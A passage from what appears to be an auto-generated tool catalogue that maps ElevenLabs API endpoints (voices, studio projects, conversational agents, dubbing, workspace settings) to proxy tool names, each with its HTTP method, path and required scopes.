/api/v1/elevenlabs/v1/speech-to-text/transcripts/{transcription_id}. Scopes: speech_to_text. elevenlabs_get_v1_studio_projects (read) — List Studio Projects via GET /v1/studio/projects GET /api/v1/elevenlabs/v1/studio/projects. Scopes: projects_read. elevenlabs_get_v1_studio_projects_by_project_id (read) — Get Studio Project via GET /v1/studio/projects/{project_id} GET /api/v1/elevenlabs/v1/studio/projects/{project_id}. Scopes: projects_read. elevenlabs_get_v1_studio_projects_by_project_id_chapters (read) — List Chapters via GET /v1/studio/projects/{project_id}/chapters GET /api/v1/elevenlabs/v1/studio/projects/{project_id}/chapters. Scopes: projects_read. elevenlabs_get_v1_studio_projects_by_project_id_chapters_by_chapter_id (read) — Get Chapter via GET /v1/studio/projects/{project_id}/chapters/{chapter_id} GET /api/v1/elevenlabs/v1/studio/projects/{project_id}/chapters/{chapter_id}. Scopes: projects_read. elevenlabs_get_v1_studio_projects_by_project_id_chapters_by_chapter_id_snapshots (read) — List Chapter Snapshots via GET /v1/studio/projects/{project_id}/chapters/{chapter_id}/snapshots GET /api/v1/elevenlabs/v1/studio/projects/{project_id}/chapters/{chapter_id}/snapshots. Scopes: projects_read. elevenlabs_get_v1_studio_projects_by_project_id_chapters_by_chapter_id_snapshots_by_chapter_snapshot_id (read) — Get Chapter Snapshot via GET /v1/studio/projects/{project_id}/chapters/{chapter_id}/snapshots/{chapter_snapshot_id} GET /api/v1/elevenlabs/v1/studio/projects/{project_id}/chapters/{chapter_id}/snapshots/{chapter_snapshot_id}. Scopes: projects_read. elevenlabs_get_v1_studio_projects_by_project_id_muted_tracks (read) — Get Project Muted Tracks via GET /v1/studio/projects/{project_id}/muted-tracks GET /api/v1/elevenlabs/v1/studio/projects/{project_id}/muted-tracks. Scopes: projects_read. elevenlabs_get_v1_studio_projects_by_project_id_snapshots (read) — List Studio Project Snapshots via GET /v1/studio/projects/{project_id}/snapshots GET /api/v1/elevenlabs/v1/studio/projects/{project_id}/snapshots. Scopes: projects_read. elevenlabs_get_v1_studio_projects_by_project_id_snapshots_by_project_snapshot_id (read) — Get Project Snapshot via GET /v1/studio/projects/{project_id}/snapshots/{project_snapshot_id} GET /api/v1/elevenlabs/v1/studio/projects/{project_id}/snapshots/{project_snapshot_id}. Scopes: projects_read. elevenlabs_get_v1_usage_character_stats (read) — Get Characters Usage Metrics (Deprecated) (deprecated) via GET /v1/usage/character-stats GET /api/v1/elevenlabs/v1/usage/character-stats. Scopes: user_read. elevenlabs_get_v1_user (read) — Get User Info via GET /v1/user GET /api/v1/elevenlabs/v1/user. Scopes: user_read. elevenlabs_get_v1_user_subscription (read) — Get User Subscription Info via GET /v1/user/subscription GET /api/v1/elevenlabs/v1/user/subscription. Scopes: user_read. elevenlabs_get_v1_voices (read) — List Voices via GET /v1/voices GET /api/v1/elevenlabs/v1/voices. Scopes: voices_read. elevenlabs_get_v1_voices_accents (read) — Get Voice Accents via GET /v1/voices/accents GET /api/v1/elevenlabs/v1/voices/accents. Scopes: voices_read. elevenlabs_get_v1_voices_by_voice_id (read) — Get Voice via GET /v1/voices/{voice_id} GET /api/v1/elevenlabs/v1/voices/{voice_id}. Scopes: voices_read. elevenlabs_get_v1_voices_by_voice_id_settings (read) — Get Voice Settings via GET /v1/voices/{voice_id}/settings GET /api/v1/elevenlabs/v1/voices/{voice_id}/settings. Scopes: voices_read. elevenlabs_get_v1_voices_pvc_by_voice_id_captcha (read) — Get Pvc Voice Captcha via GET /v1/voices/pvc/{voice_id}/captcha GET /api/v1/elevenlabs/v1/voices/pvc/{voice_id}/captcha. Scopes: voices_read. elevenlabs_get_v1_voices_pvc_by_voice_id_samples_by_sample_id_audio (read) — Retrieve Voice Sample Audio via GET /v1/voices/pvc/{voice_id}/samples/{sample_id}/audio GET /api/v1/elevenlabs/v1/voices/pvc/{voice_id}/samples/{sample_id}/audio. Scopes: voices_read. elevenlabs_get_v1_voices_pvc_by_voice_id_samples_by_sample_id_speakers (read) — Retrieve Speaker Separation Status via GET /v1/voices/pvc/{voice_id}/samples/{sample_id}/speakers GET /api/v1/elevenlabs/v1/voices/pvc/{voice_id}/samples/{sample_id}/speakers. Scopes: voices_read. elevenlabs_get_v1_voices_pvc_by_voice_id_samples_by_sample_id_speakers_by_speaker_id_audio (read) — Retrieve Separated Speaker Audio via GET /v1/voices/pvc/{voice_id}/samples/{sample_id}/speakers/{speaker_id}/audio GET /api/v1/elevenlabs/v1/voices/pvc/{voice_id}/samples/{sample_id}/speakers/{speaker_id}/audio. Scopes: voices_read. elevenlabs_get_v1_voices_pvc_by_voice_id_samples_by_sample_id_waveform (read) — Retrieve Voice Sample Visual Waveform via GET /v1/voices/pvc/{voice_id}/samples/{sample_id}/waveform GET /api/v1/elevenlabs/v1/voices/pvc/{voice_id}/samples/{sample_id}/waveform. Scopes: voices_read. elevenlabs_get_v1_voices_settings_default (read) — Get Default Voice Settings. via GET /v1/voices/settings/default GET /api/v1/elevenlabs/v1/voices/settings/default. Scopes: voices_read. elevenlabs_get_v1_workspace_audit_logs (read) — Get Workspace Audit Logs via GET /v1/workspace/audit-logs GET /api/v1/elevenlabs/v1/workspace/audit-logs. Scopes: audit_log_read. elevenlabs_get_v1_workspace_auth_connections (read) — Get Workspace Auth Connections via GET /v1/workspace/auth-connections GET /api/v1/elevenlabs/v1/workspace/auth-connections. Scopes: workspace_read. elevenlabs_get_v1_workspace_groups (read) — Get All Groups via GET /v1/workspace/groups GET /api/v1/elevenlabs/v1/workspace/groups. Scopes: workspace_read. elevenlabs_get_v1_workspace_groups_search (read) — Search User Groups via GET /v1/workspace/groups/search GET /api/v1/elevenlabs/v1/workspace/groups/search. Scopes: workspace_read. elevenlabs_get_v1_workspace_members (read) — Get Workspace Members via GET /v1/workspace/members GET /api/v1/elevenlabs/v1/workspace/members. Scopes: workspace_members_read. elevenlabs_get_v1_workspace_resources_by_resource_id (read) — Get Resource via GET /v1/workspace/resources/{resource_id} GET /api/v1/elevenlabs/v1/workspace/resources/{resource_id}. Scopes: workspace_read. elevenlabs_get_v1_workspace_webhooks (read) — List Workspace Webhooks via GET /v1/workspace/webhooks GET /api/v1/elevenlabs/v1/workspace/webhooks. Scopes: workspace_read. elevenlabs_get_v2_voices (read) — Get Voices V2 via GET /v2/voices GET /api/v1/elevenlabs/v2/voices. Scopes: voices_read. elevenlabs_patch_v1_convai_agent_testing_folders_by_folder_id (write) — Update Agent Test Folder via PATCH /v1/convai/agent-testing/folders/{folder_id} PATCH /api/v1/elevenlabs/v1/convai/agent-testing/folders/{folder_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_agents_by_agent_id (write) — Patches An Agent Settings via PATCH /v1/convai/agents/{agent_id} PATCH /api/v1/elevenlabs/v1/convai/agents/{agent_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_agents_by_agent_id_branches_by_branch_id (write) — Update Agent Branch via PATCH /v1/convai/agents/{agent_id}/branches/{branch_id} PATCH /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_agents_by_agent_id_branches_by_branch_id_procedures_by_procedure_id_draft (write) — Update Procedure Draft via PATCH /v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/{procedure_id}/draft PATCH /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/{procedure_id}/draft. Scopes: convai_write. elevenlabs_patch_v1_convai_environment_variables_by_env_var_id (write) — Update Environment Variable via PATCH /v1/convai/environment-variables/{env_var_id} PATCH /api/v1/elevenlabs/v1/convai/environment-variables/{env_var_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_knowledge_base_by_documentation_id (write) — Update Document via PATCH /v1/convai/knowledge-base/{documentation_id} PATCH /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_mcp_servers_by_mcp_server_id (write) — Update Mcp Server Configuration via PATCH /v1/convai/mcp-servers/{mcp_server_id} PATCH /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_mcp_servers_by_mcp_server_id_approval_policy (write) — Update Mcp Server Approval Policy (deprecated) via PATCH /v1/convai/mcp-servers/{mcp_server_id}/approval-policy PATCH /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}/approval-policy. Scopes: convai_write. elevenlabs_patch_v1_convai_mcp_servers_by_mcp_server_id_tool_configs_by_tool_name (write) — Update Mcp Tool Configuration Override via PATCH /v1/convai/mcp-servers/{mcp_server_id}/tool-configs/{tool_name} PATCH /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}/tool-configs/{tool_name}. Scopes: convai_write. elevenlabs_patch_v1_convai_phone_numbers_by_phone_number_id (write) — Update Phone Number via PATCH /v1/convai/phone-numbers/{phone_number_id} PATCH /api/v1/elevenlabs/v1/convai/phone-numbers/{phone_number_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_secrets_by_secret_id (write) — Update Convai Workspace Secret via PATCH /v1/convai/secrets/{secret_id} PATCH /api/v1/elevenlabs/v1/convai/secrets/{secret_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_settings (write) — Update Convai Settings via PATCH /v1/convai/settings PATCH /api/v1/elevenlabs/v1/convai/settings. Scopes: convai_write. elevenlabs_patch_v1_convai_settings_dashboard (write) — Update Convai Dashboard Settings via PATCH /v1/convai/settings/dashboard PATCH /api/v1/elevenlabs/v1/convai/settings/dashboard. Scopes: convai_write. elevenlabs_patch_v1_convai_tags_by_tag_id (write) — Update Conversation Tag via PATCH /v1/convai/tags/{tag_id} PATCH /api/v1/elevenlabs/v1/convai/tags/{tag_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_tools_by_tool_id (write) — Update Tool via PATCH /v1/convai/tools/{tool_id} PATCH /api/v1/elevenlabs/v1/convai/tools/{tool_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_triage_tickets_by_agentqa_ticket_id (write) — Update Agent Conversation Ticket via PATCH /v1/convai/triage-tickets/{agentqa_ticket_id} PATCH /api/v1/elevenlabs/v1/convai/triage-tickets/{agentqa_ticket_id}. Scopes: convai_write. elevenlabs_patch_v1_convai_whatsapp_accounts_by_phone_number_id (write) — Update Whatsapp Account via PATCH /v1/convai/whatsapp-accounts/{phone_number_id} PATCH /api/v1/elevenlabs/v1/convai/whatsapp-accounts/{phone_number_id}. Scopes: convai_write. elevenlabs_patch_v1_dubbing_project_by_project_id_language_by_language_id_transcript_segment_by_segment_id (write) — Update Dubbing Target Transcript Segment via PATCH /v1/dubbing/project/{project_id}/language/{language_id}/transcript/segment/{segment_id} PATCH /api/v1/elevenlabs/v1/dubbing/project/{project_id}/language/{language_id}/transcript/segment/{segment_id}. Scopes: dubbing_write. elevenlabs_patch_v1_dubbing_project_by_project_id_language_by_language_id_transcript_segments (write) — Update Dubbing Target Transcript Segments via PATCH /v1/dubbing/project/{project_id}/language/{language_id}/transcript/segments PATCH /api/v1/elevenlabs/v1/dubbing/project/{project_id}/language/{language_id}/transcript/segments. Scopes: dubbing_write. elevenlabs_patch_v1_dubbing_project_by_project_id_transcript_segment_by_segment_id (write) — Update Dubbing Transcript Segment via PATCH /v1/dubbing/project/{project_id}/transcript/segment/{segment_id} PATCH /api/v1/elevenlabs/v1/dubbing/project/{project_id}/transcript/segment/{segment_id}. Scopes: dubbing_write. elevenlabs_patch_v1_dubbing_project_by_project_id_transcript_segments (write) — Update Dubbing Transcript Segments via PATCH /v1/dubbing/project/{project_id}/transcript/segments PATCH /api/v1/elevenlabs/v1/dubbing/project/{project_id}/transcript/segments. Scopes: dubbing_write. elevenlabs_patch_v1_dubbing_resource_by_dubbing_id_segment_by_segment_id_by_language (write) — Modify A Single Segment (deprecated) via PATCH /v1/dubbing/resource/{dubbing_id}/segment/{segment_id}/{language} PATCH /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/segment/{segment_id}/{language}. Scopes: dubbing_write. elevenlabs_patch_v1_dubbing_resource_by_dubbing_id_speaker_by_speaker_id (write) — Update Metadata For A Speaker (deprecated) via PATCH /v1/dubbing/resource/{dubbing_id}/speaker/{speaker_id} PATCH /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/speaker/{speaker_id}. Scopes: dubbing_write. elevenlabs_patch_v1_music_finetunes_by_finetune_id (write) — Update Music Finetune via PATCH /v1/music/finetunes/{finetune_id} PATCH /api/v1/elevenlabs/v1/music/finetunes/{finetune_id}. Scopes: music_generation. elevenlabs_patch_v1_productions_orders_by_order_id (write) — Update Order via PATCH /v1/productions/orders/{order_id} PATCH /api/v1/elevenlabs/v1/productions/orders/{order_id}. Scopes: projects_write. elevenlabs_patch_v1_pronunciation_dictionaries_by_pronunciation_dictionary_id (write) — Update Pronunciation Dictionary via PATCH /v1/pronunciation-dictionaries/{pronunciation_dictionary_id} PATCH /api/v1/elevenlabs/v1/pronunciation-dictionaries/{pronunciation_dictionary_id}. Scopes: pronunciation_dictionaries_write. elevenlabs_patch_v1_service_accounts_by_service_account_user_id_api_keys_by_api_key_id (write) — Edit Service Account Api Key via PATCH /v1/service-accounts/{service_account_user_id}/api-keys/{api_key_id} PATCH /api/v1/elevenlabs/v1/service-accounts/{service_account_user_id}/api-keys/{api_key_id}. Scopes: service_account_write. elevenlabs_patch_v1_speech_engine_by_speech_engine_id (write) — Update Speech Engine via PATCH /v1/speech-engine/{speech_engine_id} PATCH /api/v1/elevenlabs/v1/speech-engine/{speech_engine_id}. Scopes: convai_write. elevenlabs_patch_v1_workspace_auth_connections_by_auth_connection_id (write) — Update Workspace Auth Connection via PATCH /v1/workspace/auth-connections/{auth_connection_id} PATCH /api/v1/elevenlabs/v1/workspace/auth-connections/{auth_connection_id}. Scopes: workspace_write. elevenlabs_patch_v1_workspace_webhooks_by_webhook_id (write) — Update Workspace Webhook via PATCH /v1/workspace/webhooks/{webhook_id} PATCH /api/v1/elevenlabs/v1/workspace/webhooks/{webhook_id}. Scopes: webhooks_write. elevenlabs_post_v1_audio_native_content (write) — Update Audio-Native Content From Url via POST /v1/audio-native/content POST /api/v1/elevenlabs/v1/audio-native/content. Scopes: audio_native_write. elevenlabs_post_v1_convai_agent_by_agent_id_llm_usage_calculate (write) — Calculate Expected Llm Usage For An Agent via POST /v1/convai/agent/{agent_id}/llm-usage/calculate POST /api/v1/elevenlabs/v1/convai/agent/{agent_id}/llm-usage/calculate. Scopes: convai_read. elevenlabs_post_v1_convai_agent_testing_bulk_move (write) — Bulk Move Tests To Folder via POST /v1/convai/agent-testing/bulk-move POST /api/v1/elevenlabs/v1/convai/agent-testing/bulk-move. Scopes: convai_write. elevenlabs_post_v1_convai_agent_testing_create (write) — Create Agent Response Test via POST /v1/convai/agent-testing/create POST /api/v1/elevenlabs/v1/convai/agent-testing/create. Scopes: convai_write. elevenlabs_post_v1_convai_agent_testing_folders (write) — Create Agent Test Folder via POST /v1/convai/agent-testing/folders POST /api/v1/elevenlabs/v1/convai/agent-testing/folders. Scopes: convai_write. elevenlabs_post_v1_convai_agent_testing_summaries (write) — Get Agent Response Test Summaries By Ids via POST /v1/convai/agent-testing/summaries POST /api/v1/elevenlabs/v1/convai/agent-testing/summaries. Scopes: convai_read. elevenlabs_post_v1_convai_agents_by_agent_id_branches (write) — Create A New Branch via POST /v1/convai/agents/{agent_id}/branches POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches. Scopes: convai_write. elevenlabs_post_v1_convai_agents_by_agent_id_branches_by_branch_id_procedures (write) — Create Procedure via POST /v1/convai/agents/{agent_id}/branches/{branch_id}/procedures POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}/procedures. Scopes: convai_write. elevenlabs_post_v1_convai_agents_by_agent_id_branches_by_branch_id_procedures_compile (write) — Compile Procedures via POST /v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/compile POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/compile. Scopes: convai_write. elevenlabs_post_v1_convai_agents_by_agent_id_branches_by_branch_id_rebase (write) — Rebase A Branch Onto Main via POST /v1/convai/agents/{agent_id}/branches/{branch_id}/rebase POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}/rebase. Scopes: convai_write. elevenlabs_post_v1_convai_agents_by_agent_id_branches_by_source_branch_id_merge (write) — Merge A Branch Into A Target Branch via POST /v1/convai/agents/{agent_id}/branches/{source_branch_id}/merge POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{source_branch_id}/merge. Scopes: convai_write. elevenlabs_post_v1_convai_agents_by_agent_id_deployments (write) — Create Or Update Deployments via POST /v1/convai/agents/{agent_id}/deployments POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/deployments. Scopes: convai_write. elevenlabs_post_v1_convai_agents_by_agent_id_drafts (write) — Create Agent Draft via POST /v1/convai/agents/{agent_id}/drafts POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/drafts. Scopes: convai_write. elevenlabs_post_v1_convai_agents_by_agent_id_duplicate (write) — Duplicate Agent via POST /v1/convai/agents/{agent_id}/duplicate POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/duplicate. Scopes: convai_write. elevenlabs_post_v1_convai_agents_by_agent_id_knowledge_base_rag_query (write) — Query Agent Knowledge Base Rag via POST /v1/convai/agents/{agent_id}/knowledge-base/rag-query POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/knowledge-base/rag-query. Scopes: convai_read. elevenlabs_post_v1_convai_agents_by_agent_id_run_tests (write) — Run Tests On The Agent via POST /v1/convai/agents/{agent_id}/run-tests POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/run-tests. Scopes: convai_write. elevenlabs_post_v1_convai_agents_by_agent_id_simulate_conversation (write) — Simulates A Conversation (deprecated) via POST /v1/convai/agents/{agent_id}/simulate-conversation POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/simulate-conversation. Scopes: convai_write. elevenlabs_post_v1_convai_agents_by_agent_id_triage_tickets (write) — Create Manual Agent Ticket via POST /v1/convai/agents/{agent_id}/triage-tickets POST /api/v1/elevenlabs/v1/convai/agents/{agent_id}/triage-tickets. Scopes: convai_write. elevenlabs_post_v1_convai_agents_create (write) — Create Agent via POST /v1/convai/agents/create POST /api/v1/elevenlabs/v1/convai/agents/create. Scopes: convai_write. elevenlabs_post_v1_convai_batch_calling_by_batch_id_cancel (write) — Cancel A Batch Call. via POST /v1/convai/batch-calling/{batch_id}/cancel POST /api/v1/elevenlabs/v1/convai/batch-calling/{batch_id}/cancel. Scopes: convai_write. elevenlabs_post_v1_convai_batch_calling_by_batch_id_retry (write) — Retry A Batch Call. via POST /v1/convai/batch-calling/{batch_id}/retry POST /api/v1/elevenlabs/v1/convai/batch-calling/{batch_id}/retry. Scopes: convai_write. elevenlabs_post_v1_convai_batch_calling_submit (write) — Submit A Batch Call Request. via POST /v1/convai/batch-calling/submit POST /api/v1/elevenlabs/v1/convai/batch-calling/submit. Scopes: convai_write. elevenlabs_post_v1_convai_conversations_by_conversation_id_analysis_evaluations_run (write) — Run Conversation Evaluation via POST /v1/convai/conversations/{conversation_id}/analysis/evaluations/run POST /api/v1/elevenlabs/v1/convai/conversations/{conversation_id}/analysis/evaluations/run. Scopes: convai_write. elevenlabs_post_v1_convai_conversations_by_conversation_id_analysis_run (write) — Run Conversation Analysis via POST /v1/convai/conversations/{conversation_id}/analysis/run POST /api/v1/elevenlabs/v1/convai/conversations/{conversation_id}/analysis/run. Scopes: convai_write. elevenlabs_post_v1_convai_conversations_by_conversation_id_feedback (write) — Send Conversation Feedback via POST /v1/convai/conversations/{conversation_id}/feedback POST /api/v1/elevenlabs/v1/convai/conversations/{conversation_id}/feedback. Scopes: convai_write. elevenlabs_post_v1_convai_conversations_by_conversation_id_tags (write) — Assign Conversation Tags via POST /v1/convai/conversations/{conversation_id}/tags POST /api/v1/elevenlabs/v1/convai/conversations/{conversation_id}/tags. Scopes: convai_write. elevenlabs_post_v1_convai_environment_variables (write) — Create Environment Variable via POST /v1/convai/environment-variables POST /api/v1/elevenlabs/v1/convai/environment-variables. Scopes: convai_write. elevenlabs_post_v1_convai_exotel_outbound_call (write) — Handle An Outbound Call Via Exotel via POST /v1/convai/exotel/outbound-call POST /api/v1/elevenlabs/v1/convai/exotel/outbound-call. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_bulk_delete (write) — Bulk Delete Knowledge Base Documents via POST /v1/convai/knowledge-base/bulk-delete POST /api/v1/elevenlabs/v1/convai/knowledge-base/bulk-delete. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_bulk_move (write) — Bulk Move Entities To Folder via POST /v1/convai/knowledge-base/bulk-move POST /api/v1/elevenlabs/v1/convai/knowledge-base/bulk-move. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_by_document_id_move (write) — Move Entity To Folder via POST /v1/convai/knowledge-base/{document_id}/move POST /api/v1/elevenlabs/v1/convai/knowledge-base/{document_id}/move. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_by_documentation_id_rag_index (write) — Compute Rag Index. via POST /v1/convai/knowledge-base/{documentation_id}/rag-index POST /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}/rag-index. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_by_documentation_id_refresh (write) — Refresh Url Document Content via POST /v1/convai/knowledge-base/{documentation_id}/refresh POST /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}/refresh. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_crawl (write) — Create Crawl Job via POST /v1/convai/knowledge-base/crawl POST /api/v1/elevenlabs/v1/convai/knowledge-base/crawl. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_crawl_by_crawl_job_id_cancel (write) — Cancel Crawl Job via POST /v1/convai/knowledge-base/crawl/{crawl_job_id}/cancel POST /api/v1/elevenlabs/v1/convai/knowledge-base/crawl/{crawl_job_id}/cancel. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_dependent_agents (write) — Get Dependent Agents For Multiple Documents via POST /v1/convai/knowledge-base/dependent-agents POST /api/v1/elevenlabs/v1/convai/knowledge-base/dependent-agents. Scopes: convai_read. elevenlabs_post_v1_convai_knowledge_base_folder (write) — Create Folder via POST /v1/convai/knowledge-base/folder POST /api/v1/elevenlabs/v1/convai/knowledge-base/folder. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_rag_index (write) — Compute Rag Indexes In Batch via POST /v1/convai/knowledge-base/rag-index POST /api/v1/elevenlabs/v1/convai/knowledge-base/rag-index. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_text (write) — Create Text Document via POST /v1/convai/knowledge-base/text POST /api/v1/elevenlabs/v1/convai/knowledge-base/text. Scopes: convai_write. elevenlabs_post_v1_convai_knowledge_base_url (write) — Create Url Document via POST /v1/convai/knowledge-base/url POST /api/v1/elevenlabs/v1/convai/knowledge-base/url. Scopes: convai_write. elevenlabs_post_v1_convai_llm_usage_calculate (write) — Calculate Expected Llm Usage via POST /v1/convai/llm-usage/calculate POST /api/v1/elevenlabs/v1/convai/llm-usage/calculate. Scopes: convai_read. elevenlabs_post_v1_convai_mcp_servers (write) — Create Mcp Server via POST /v1/convai/mcp-servers POST /api/v1/elevenlabs/v1/convai/mcp-servers. Scopes: convai_write. elevenlabs_post_v1_convai_mcp_servers_by_mcp_server_id_tool_approvals (write) — Create Mcp Server Tool Approval via POST /v1/convai/mcp-servers/{mcp_server_id}/tool-approvals POST /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}/tool-approvals. Scopes: convai_write. elevenlabs_post_v1_convai_mcp_servers_by_mcp_server_id_tool_configs (write) — Create Mcp Tool Configuration Override via POST /v1/convai/mcp-servers/{mcp_server_id}/tool-configs POST /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}/tool-configs. Scopes: convai_write. elevenlabs_post_v1_convai_phone_numbers (write) — Import Phone Number via POST /v1/convai/phone-numbers POST /api/v1/elevenlabs/v1/convai/phone-numbers. Scopes: convai_write. elevenlabs_post_v1_convai_secrets (write) — Create Convai Workspace Secret via POST /v1/convai/secrets POST /api/v1/elevenlabs/v1/convai/secrets. Scopes: convai_write. elevenlabs_post_v1_convai_sip_trunk_outbound_call (write) — Handle An Outbound Call Via Sip Trunk via POST /v1/convai/sip-trunk/outbound-call POST /api/v1/elevenlabs/v1/convai/sip-trunk/outbound-call. Scopes: convai_write. elevenlabs_post_v1_convai_tags (write) — Create Conversation Tag via POST /v1/convai/tags POST /api/v1/elevenlabs/v1/convai/tags. Scopes: convai_write. elevenlabs_post_v1_convai_test_invocations_by_test_invocation_id_resubmit (write) — Resubmit Tests via POST /v1/convai/test-invocations/{test_invocation_id}/resubmit POST /api/v1/elevenlabs/v1/convai/test-invocations/{test_invocation_id}/resubmit. Scopes: convai_write. elevenlabs_post_v1_convai_tools (write) — Add Tool via POST /v1/convai/tools POST /api/v1/elevenlabs/v1/convai/tools. Scopes: convai_write. elevenlabs_post_v1_convai_triage_tickets (write) — Create Agent Conversation Ticket via POST /v1/convai/triage-tickets POST /api/v1/elevenlabs/v1/convai/triage-tickets. Scopes: convai_write. elevenlabs_post_v1_convai_triage_tickets_by_agentqa_ticket_id_comments (write) — Add Comment To Agent Conversation Ticket via POST /v1/convai/triage-tickets/{agentqa_ticket_id}/comments POST /api/v1/elevenlabs/v1/convai/triage-tickets/{agentqa_ticket_id}/comments. Scopes: convai_write. elevenlabs_post_v1_convai_triage_tickets_by_agentqa_ticket_id_turn_comments (write) — Add Turn Comment To Agent Conversation Ticket via POST /v1/convai/triage-tickets/{agentqa_ticket_id}/turn-comments POST /api/v1/elevenlabs/v1/convai/triage-tickets/{agentqa_ticket_id}/turn-comments. Scopes: convai_write. elevenlabs_post_v1_convai_twilio_outbound_call (write) — Handle An Outbound Call Via Twilio via POST /v1/convai/twilio/outbound-call POST /api/v1/elevenlabs/v1/convai/twilio/outbound-call. Scopes: convai_write. elevenlabs_post_v1_convai_twilio_register_call (write) — Register A Twilio Call And Return Twiml via POST /v1/convai/twilio/register-call POST /api/v1/elevenlabs/v1/convai/twilio/register-call. Scopes: convai_write. elevenlabs_post_v1_convai_whatsapp_outbound_call (write) — Make An Outbound Call Via Whatsapp via POST /v1/convai/whatsapp/outbound-call POST /api/v1/elevenlabs/v1/convai/whatsapp/outbound-call. Scopes: convai_write. elevenlabs_post_v1_convai_whatsapp_outbound_message (write) — Send An Outbound Message Via Whatsapp via POST /v1/convai/whatsapp/outbound-message POST /api/v1/elevenlabs/v1/convai/whatsapp/outbound-message. Scopes: convai_write. elevenlabs_post_v1_dubbing_project_by_project_id_language (write) — Create Dubbing Language Target via POST /v1/dubbing/project/{project_id}/language POST /api/v1/elevenlabs/v1/dubbing/project/{project_id}/language. Scopes: dubbing_write. elevenlabs_post_v1_dubbing_project_by_project_id_language_by_language_id_transcript_regenerate (write) — Regenerate Dubbing Target via POST /v1/dubbing/project/{project_id}/language/{language_id}/transcript/regenerate POST /api/v1/elevenlabs/v1/dubbing/project/{project_id}/language/{language_id}/transcript/regenerate. Scopes: dubbing_write. elevenlabs_post_v1_dubbing_project_by_project_id_transcript_segment (write) — Add Dubbing Transcript Segment via POST /v1/dubbing/project/{project_id}/transcript/segment POST /api/v1/elevenlabs/v1/dubbing/project/{project_id}/transcript/segment. Scopes: dubbing_write. elevenlabs_post_v1_dubbing_resource_by_dubbing_id_dub (write) — Dubs All Or Some Segments And Languages (deprecated) via POST /v1/dubbing/resource/{dubbing_id}/dub POST /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/dub. Scopes: dubbing_write. elevenlabs_post_v1_dubbing_resource_by_dubbing_id_language (write) — Add A Language To The Resource (deprecated) via POST /v1/dubbing/resource/{dubbing_id}/language POST /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/language. Scopes: dubbing_write. elevenlabs_post_v1_dubbing_resource_by_dubbing_id_migrate_segments (write) — Move Segments Between Speakers (deprecated) via POST /v1/dubbing/resource/{dubbing_id}/migrate-segments POST /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/migrate-segments. Scopes: dubbing_write. elevenlabs_post_v1_dubbing_resource_by_dubbing_id_render_by_language (write) — Render Audio Or Video For The Given Language (deprecated) via POST /v1/dubbing/resource/{dubbing_id}/render/{language} POST /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/render/{language}. Scopes: dubbing_write. elevenlabs_post_v1_dubbing_resource_by_dubbing_id_speaker (write) — Create A New Speaker (deprecated) via POST /v1/dubbing/resource/{dubbing_id}/speaker POST /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/speaker. Scopes: dubbing_write. elevenlabs_post_v1_dubbing_resource_by_dubbing_id_speaker_by_speaker_id_segment (write) — Create A Segment For The Speaker (deprecated) via POST /v1/dubbing/resource/{dubbing_id}/speaker/{speaker_id}/segment POST /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/speaker/{speaker_id}/segment. Scopes: dubbing_write. elevenlabs_post_v1_dubbing_resource_by_dubbing_id_transcribe (write) — Transcribes Segments (deprecated) via POST /v1/dubbing/resource/{dubbing_id}/transcribe POST /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/transcribe. Scopes: dubbing_write. elevenlabs_post_v1_dubbing_resource_by_dubbing_id_translate (write) — Translates All Or Some Segments And Languages (deprecated) via POST /v1/dubbing/resource/{dubbing_id}/translate POST /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/translate. Scopes: dubbing_write. elevenlabs_post_v1_flows_image (write) — Create Image Generation via POST /v1/flows/image POST 